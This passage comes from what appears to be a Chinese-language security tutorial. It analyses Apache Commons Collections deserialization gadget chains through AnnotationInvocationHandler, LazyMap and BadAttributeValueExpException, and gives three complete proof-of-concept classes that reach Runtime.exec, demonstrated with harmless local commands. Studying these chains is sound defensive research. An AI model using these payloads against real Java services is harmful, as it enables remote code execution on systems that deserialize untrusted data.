有了上面的结论,现在的策略进一步转换成:寻找一个重写了readObject方法的类,这个类的readObject方法中对某个Map类型的属性的entry进行了setValue操作!(当然这个属性需要我们可控)于是就找到了sun.reflect.annotation.AnnotationInvocationHandler类,这个类是jdk自带的,不是第三方的,所以这就导致了我在文章开头说的ysoserial的一些payload不能攻击运行在jdk1.8上的Weblogic,因为jdk1.8更新了sun.reflect.annotation.AnnotationInvocationHandler。我们看下jdk1.8的sun.reflect.annotation.AnnotationInvocationHandler的readObject实现: 306 | 307 | ```java 308 | private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { 309 | GetField var2 = var1.readFields(); 310 | Class var3 = (Class)var2.get("type", (Object)null); 311 | Map var4 = (Map)var2.get("memberValues", (Object)null); 312 | AnnotationType var5 = null; 313 | 314 | try { 315 | var5 = AnnotationType.getInstance(var3); 316 | } catch (IllegalArgumentException var13) { 317 | throw new InvalidObjectException("Non-annotation type in annotation serial stream"); 318 | } 319 | 320 | Map var6 = var5.memberTypes(); 321 | LinkedHashMap var7 = new LinkedHashMap(); 322 | 323 | String var10; 324 | Object var11; 325 | for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) { 326 | Entry var9 = (Entry)var8.next(); 327 | var10 = (String)var9.getKey(); 328 | var11 = null; 329 | Class var12 = (Class)var6.get(var10); 330 | if (var12 != null) { 331 | var11 = var9.getValue(); 332 | if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) { 333 | var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10)); 334 | } 335 | } 336 | } 337 | ``` 338 | 339 | 再来看看jdk1.7相关的实现: 340 | 341 | ```java 342 | private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { 343 | var1.defaultReadObject(); 344 | AnnotationType var2 = null; 345 | 346 | try { 347 | var2 = AnnotationType.getInstance(this.type); 348 | } catch (IllegalArgumentException var9) { 349 | throw new InvalidObjectException("Non-annotation type in annotation serial stream"); 350 | } 351 | 352 | Map var3 = var2.memberTypes(); 353 | Iterator var4 = this.memberValues.entrySet().iterator(); 354 | 355 | while(var4.hasNext()) { 356 | Entry var5 = (Entry)var4.next(); 357 | String var6 = (String)var5.getKey(); 358 | Class var7 = (Class)var3.get(var6); 359 | if (var7 != null) { 360 | Object var8 = var5.getValue(); 361 | if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { 362 | var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); 363 | } 364 | } 365 | } 366 | 367 | } 368 | ``` 369 | 370 | 可以明显看到jdk1.8已经没有了setValue操作,而jdk1.7中有我们关注的setValue操作——var5.setValue(),var5是this.memberValues中的一个entryset,并且memberValues是Map类型,且我们可控,如下: 371 | ![](ser_example1/membervalues.png) 372 | 373 | 所以,只要我们在构造poc时将memberValues设置为transformerdMap,那么就有可能触发setValue操作,前提是需要满足if条件`!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)` 374 | 375 | 376 | 接下来我们的任务就是研究怎么构造poc才能满足这个if条件。通过代码可以知道var7 = (Class)var3.get(var6),其中var3=var2.memberTypes(),然后var2=AnnotationType.getInstance(this.type),而this.type是可控的,构造函数如下: 377 | 378 | ```java 379 | AnnotationInvocationHandler(Class var1, Map var2) { 380 | Class[] var3 = var1.getInterfaces(); 381 | if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) { 382 | this.type = var1; 383 | this.memberValues = var2; 384 | } else { 385 | throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); 386 | } 387 | } 388 | ``` 389 | 390 | 可见this.type就是构造函数的第一个参数(当然还是需要满足if条件才能赋值成功),所以,现在构造函数的第一个参数到底传什么才能满足我们的需求呢,首先它得继承Annotation,所以我们直接去找Annotation的子类,后面在看源码的过程中我才知道Annotation这个接口是所有**注解**类型的公用接口,所有注解类型应该都是实现了这个接口的,而漏洞作者用到的是`java.lang.annotation.Retention.class`这个注解类(其他符合条件的类也是可以的,不过我没有继续找了emmmm)。 391 | 392 | > 了解java注解,参考:https://juejin.im/post/5b45bd715188251b3a1db54f 393 | 394 | 395 | 这个注解是否符合条件呢?一行行读代码不够直观,我们不妨就假设这个类满足条件,用它来继续构造poc,然后在下断点调试一下,这样可以更加清晰的看到结果~接着上面的poc,现在我们需要新建一个AnnotationInvocationHandler类的实例,但是这个类的访问权限不是public,而是包访问权限,所以,我们在构造poc的时候只有通过反射机制来实例化它,具体看代码: 396 | 397 | ```java 398 | import org.apache.commons.collections.Transformer; 399 | import org.apache.commons.collections.functors.ChainedTransformer; 400 | import org.apache.commons.collections.functors.ConstantTransformer; 401 | import org.apache.commons.collections.functors.InvokerTransformer; 402 | import org.apache.commons.collections.map.TransformedMap; 403 | 404 | import java.io.*; 405 | import java.lang.reflect.Constructor; 406 | import java.util.HashMap; 407 | import java.util.Map; 408 | 409 | public class POC4 { 410 | public static void main(String[] args) throws Exception{ 411 | Transformer[] transformers_exec = new Transformer[]{ 412 | new ConstantTransformer(Runtime.class), 413 | new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), 414 | new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), 415 | new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"wireshark"}) 416 | }; 417 | 418 | Transformer chain = new ChainedTransformer(transformers_exec); 419 | 420 | HashMap innerMap = new HashMap(); 421 | innerMap.put("value","asdf"); 422 | 423 | Map outerMap = TransformedMap.decorate(innerMap,null,chain); 424 | 425 | // 通过反射机制实例化AnnotationInvocationHandler 426 | Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 427 | Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class); 428 | cons.setAccessible(true); 429 | Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap); 430 | // 序列化 431 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 432 | ObjectOutputStream oos = new ObjectOutputStream(baos); 433 | oos.writeObject(ins); 434 | oos.flush(); 435 | oos.close(); 436 | // 本地模拟反序列化 437 | ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); 438 | ObjectInputStream ois = new ObjectInputStream(bais); 439 | Object obj = (Object) ois.readObject(); 440 | } 441 | } 442 | ``` 443 | 上面就是一个完整的poc了,不过,为了调试,我还在poc中本地模拟了反序列化的过程,这个过程在真实环境中应该是目标应用自动执行的。我在sun.reflect.annotation.AnnotationInvocationHandler的readObject方法处下了断点,一图胜千言,各个变量的值一目了然: 444 | 445 | ![](ser_example1/var.png) 446 | 447 | 可见java.lang.annotation.Retention.class确实能够使得我们的if条件成立,从而执行到var5.setValue()处 448 | 经过调试,我发现map的键值必须为"value",否则利用不成功,这是一处小细节~ 449 | 450 | 执行到setValue处,我们先停一停,准备填最后一个坑——为什么执行setValue就会自动调用前面提到的checkValue方法? 451 | 452 | 跟进setValue方法中看一看,从上图中我们已经可以看到var5的类型是`AbstractInputCheckedMapDecorator$MapEntry`,所以这里执行的的setValue也是调用的`AbstractInputCheckedMapDecorator$MapEntry.setValue()`,我们可以直接去setValue方法处下一个断点: 453 | 454 | ![](ser_example1/checksetValue.png) 455 | 456 | 可以看到这里调用了this.parent.checkSetValue(),而我圈出来的地方也显示了this.parent的值是TransformedMap类型,至此,整个利用链结束,继续执行,弹出wireshark: 457 | 458 | ![](ser_example1/last_wireshark.png) 459 | 460 | ### LazyMap利用链 461 | 462 | 接着来看看LazyMap类中调用了transform的地方,在get方法中: 463 | ```java 464 | public Object get(Object key) { 465 | if (!super.map.containsKey(key)) { 466 | Object value = this.factory.transform(key); 467 | super.map.put(key, value); 468 | return value; 469 | } else { 470 | return super.map.get(key); 471 | } 472 | } 473 | ``` 474 | 475 | 调用了this.factory.transform方法,而 `this.factory`是我们可控的,构造函数如下: 476 | 477 | ```java 478 | protected LazyMap(Map map, Transformer factory) { 479 | super(map); 480 | if (factory == null) { 481 | throw new IllegalArgumentException("Factory must not be null"); 482 | } else { 483 | this.factory = factory; 484 | } 485 | } 486 | ``` 487 | 构造poc的时候只要令factory为精心构造的ChainedTransformer就行,然后按照之前的思路,我们找一下哪里可能调用了LazyMap的get方法。 488 | 489 | ```java 490 | public Object invoke(Object var1, Method var2, Object[] var3) { 491 | String var4 = var2.getName(); 492 | Class[] var5 = var2.getParameterTypes(); 493 | if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { 494 | return this.equalsImpl(var3[0]); 495 | } else if (var5.length != 0) { 496 | throw new AssertionError("Too many parameters for an annotation method"); 497 | } else { 498 | byte var7 = -1; 499 | switch(var4.hashCode()) { 500 | case -1776922004: 501 | if (var4.equals("toString")) { 502 | var7 = 0; 503 | } 504 | break; 505 | case 147696667: 506 | if (var4.equals("hashCode")) { 507 | var7 = 1; 508 | } 509 | break; 510 | case 1444986633: 511 | if (var4.equals("annotationType")) { 512 | var7 = 2; 513 | } 514 | } 515 | 516 | switch(var7) { 517 | case 0: 518 | return this.toStringImpl(); 519 | case 1: 520 | return this.hashCodeImpl(); 521 | case 2: 522 | return this.type; 523 | default: 524 | Object var6 = this.memberValues.get(var4); 525 | if (var6 == null) { 526 | throw new IncompleteAnnotationException(this.type, var4); 527 | } else if (var6 instanceof ExceptionProxy) { 528 | throw ((ExceptionProxy)var6).generateException(); 529 | } else { 530 | if (var6.getClass().isArray() && Array.getLength(var6) != 0) { 531 | var6 = this.cloneArray(var6); 532 | } 533 | 534 | return var6; 535 | } 536 | } 537 | } 538 | } 539 | ``` 540 | 541 | 发现AnnotationInvocationHandler的invoke方法中有相关的调用,` Object var6 = this.memberValues.get(var4);`其中`this.memberValues`是可控的,令其为精心构造的LazyMap对象,但是我们要怎么触发AnnotationInvocationHandler.invoke()呢?熟悉java的同学都知道java有一种机制——动态代理。 542 | 543 | 动态代理参考: 544 | 545 | https://www.mi1k7ea.com/2019/02/01/Java%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E6%9C%BA%E5%88%B6/ 546 | 547 | 总结为一句话就是,被动态代理的对象调用任意方法都会通过对应的InvocationHandler的invoke方法触发 548 | 549 | 所以我们只要创建一个LazyMap的动态代理,然后再用动态代理调用LazyMap的某个方法就行了,但是为了反序列化的时候自动触发,我们应该找的是某个重写了readObject方法的类,这个类的readObject方法中可以通过动态代理调用LazyMap的某个方法,其实这和直接调用LazyMap某个方法需要满足的条件几乎是一样的,因为某个类的动态代理与它本身实现了同一个接口。而我们通过分析TransformedMap利用链的时候,已经知道了在AnnotationInvocationHandler的readObject方法中会调用某个Map类型对象的entrySet()方法,而LazyMap以及他的动态代理都是Map类型,所以,一条利用链就这么出来了: 550 | 551 | ```java 552 | import org.apache.commons.collections.Transformer; 553 | import org.apache.commons.collections.functors.ChainedTransformer; 554 | import org.apache.commons.collections.functors.ConstantTransformer; 555 | import org.apache.commons.collections.functors.InvokerTransformer; 556 | import org.apache.commons.collections.map.LazyMap; 557 | import org.eclipse.persistence.internal.xr.Invocation; 558 | 559 | import java.io.*; 560 | import java.lang.reflect.Constructor; 561 | import java.lang.reflect.InvocationHandler; 562 | import java.lang.reflect.Proxy; 563 | import java.util.HashMap; 564 | import java.util.Map; 565 | 566 | public class POC5 { 567 | public static void main(String[] args) throws Exception{ 568 | Transformer[] transformers_exec = new Transformer[]{ 569 | new ConstantTransformer(Runtime.class), 570 | new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), 571 | new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), 572 | new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"wireshark"}) 573 | }; 574 | 575 | Transformer chain = new ChainedTransformer(transformers_exec); 576 | 577 | HashMap innerMap = new HashMap(); 578 | innerMap.put("value","axin"); 579 | 580 | Map lazyMap = LazyMap.decorate(innerMap,chain); 581 | Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 582 | Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class); 583 | cons.setAccessible(true); 584 | // 创建LazyMap的handler实例 585 | InvocationHandler handler = (InvocationHandler) cons.newInstance(Override.class,lazyMap); 586 | // 创建LazyMap的动态代理实例 587 | Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(), handler); 588 | 589 | // 创建一个AnnotationInvocationHandler实例,并且把刚刚创建的代理赋值给this.memberValues 590 | InvocationHandler handler1 = (InvocationHandler)cons.newInstance(Override.class, mapProxy); 591 | 592 | // 序列化 593 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 594 | ObjectOutputStream oos = new ObjectOutputStream(baos); 595 | oos.writeObject(handler1); 596 | oos.flush(); 597 | oos.close(); 598 | // 本地模拟反序列化 599 | ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); 600 | ObjectInputStream ois = new ObjectInputStream(bais); 601 | Object obj = (Object) ois.readObject(); 602 | } 603 | } 604 | ``` 605 | 606 | 运行一波,弹出wireshark(虽然反序列化过程报错了,但是还是执行了命令,报错这个问题我还没解决~): 607 | 608 | ![](ser_example1/wireshark2.png) 609 | 610 | 当然,LazyMap还有其他构造利用链的方法,我们后续再谈~ 611 | 612 | 613 | #### LazyMap利用链补充 614 | 615 | 上面的利用链受限于jdk版本,我们来看一看另外一种利用方式,这条利用链不是用动态代理的方式触发了,我们一起来看看吧: 616 | 617 | 从上一条利用链我们已经知道LazyMap类的get方法中调用了transform方法,那么除了AnnotationInvocationHandler的invoke方法中调用了get方法外,还有没有其他的地方也调用了get方法呢?当然有,TiedMapEntry类的getValue方法也调用了,如下: 618 | 619 | ```java 620 | public Object getValue() { 621 | return this.map.get(this.key); 622 | } 623 | ``` 624 | 而且`this.map`我们也可以控制,但是我们最终要找的还是readObject方法中的触发点,所以继续网上找,看看哪里调用了TiedMapEntry的getValue方法,找到TiedMapEntry类的toString方法: 625 | 626 | ```java 627 | public String toString() { 628 | return this.getKey() + "=" + this.getValue(); 629 | } 630 | ``` 631 | 632 | toString方法与php中的`__toString`方法类似,在进行字符串拼接或者手动把某个类转换为字符串的时候会被调用,所以,现在我们找找把TiedMapEntry的对象当做字符串处理的地方,找到了BadAttributeValueExpException的readObject方法中有相关调用: 633 | 634 | ```java 635 | private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { 636 | ObjectInputStream.GetField gf = ois.readFields(); 637 | Object valObj = gf.get("val", null); 638 | 639 | if (valObj == null) { 640 | val = null; 641 | } else if (valObj instanceof String) { 642 | val= valObj; 643 | } else if (System.getSecurityManager() == null 644 | || valObj instanceof Long 645 | || valObj instanceof Integer 646 | || valObj instanceof Float 647 | || valObj instanceof Double 648 | || valObj instanceof Byte 649 | || valObj instanceof Short 650 | || valObj instanceof Boolean) { 651 | val = valObj.toString(); 652 | } else { // the serialized object is from a version without JDK-8019292 fix 653 | val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); 654 | } 655 | } 656 | ``` 657 | 658 | 可以看到第三个if分支里调用了`valObj.toString()`,而`valObj=gf.get("val", null)`,这里其实就是读取传过来对象的`val`属性值,所以,只要我们控制BadAttributeValueExpException对象的val属性的值为我们精心构造的TiedMapEntry对象就行。所以,就有了下面的poc: 659 | 660 | ```java 661 | import org.apache.commons.collections.Transformer; 662 | import org.apache.commons.collections.functors.ChainedTransformer; 663 | import org.apache.commons.collections.functors.ConstantTransformer; 664 | import org.apache.commons.collections.functors.InvokerTransformer; 665 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 666 | import org.apache.commons.collections.map.LazyMap; 667 | 668 | import javax.management.BadAttributeValueExpException; 669 | import java.io.ByteArrayInputStream; 670 | import java.io.ByteArrayOutputStream; 671 | import java.io.ObjectInputStream; 672 | import java.io.ObjectOutputStream; 673 | import java.lang.reflect.Field; 674 | import java.util.HashMap; 675 | import java.util.Map; 676 | 677 | public class POC6 { 678 | public static void main(String[] args) throws Exception{ 679 | Transformer[] transformers_exec = new Transformer[]{ 680 | new ConstantTransformer(Runtime.class), 681 | new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), 682 | new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), 683 | new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"gnome-calculator"}) 684 | }; 685 | 686 | Transformer chain = new ChainedTransformer(transformers_exec); 687 | 688 | HashMap innerMap = new HashMap(); 689 | innerMap.put("value","axin"); 690 | 691 | Map lazyMap = LazyMap.decorate(innerMap,chain); 692 | // 将lazyMap封装到TiedMapEntry中 693 | TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "val"); 694 | // 通过反射给badAttributeValueExpException的val属性赋值 695 | BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); 696 | Field val = badAttributeValueExpException.getClass().getDeclaredField("val"); 697 | val.setAccessible(true); 698 | val.set(badAttributeValueExpException, tiedMapEntry); 699 | // 序列化 700 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 701 | ObjectOutputStream oos = new ObjectOutputStream(baos); 702 | oos.writeObject(badAttributeValueExpException); 703 | oos.flush(); 704 | oos.close(); 705 | // 本地模拟反序列化 706 | ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); 707 | ObjectInputStream ois = new ObjectInputStream(bais); 708 | Object obj = (Object) ois.readObject(); 709 | } 710 | } 711 | ``` 712 | 713 | 这里有一点需要注意,那就是不嗯给你直接在初始化的时候就给badAttributeValueExpException 对象的val属性赋值,因为它的构造函数如下: 714 | 715 | ```java 716 | public BadAttributeValueExpException (Object val) { 717 | this.val = val == null ? null : val.toString(); 718 | } 719 | ``` 720 | 这里直接就调用了`val.toString`,所以,如果通过构造函数赋值val属性为我们构造的TiedMapEntry对象对导致在本地生成payload的时候就执行了命令,并且我们精心构造的对象还会被转换为String类型,就失效了。最后,弹个计算器吧~ 721 | 722 | ![](ser_example1/wireshark3.png) 723 | 724 | 725 | ### 其他 726 | weblogic调试方法参考: 727 | 728 | https://blog.csdn.net/defonds/article/details/83510668 729 | 730 | java安全管理器SecurityManager入门: 731 | 732 | https://www.cnblogs.com/yiwangzhibujian/p/6207212.html 733 | 734 | 735 | 736 | --------------------------------------------------------------------------------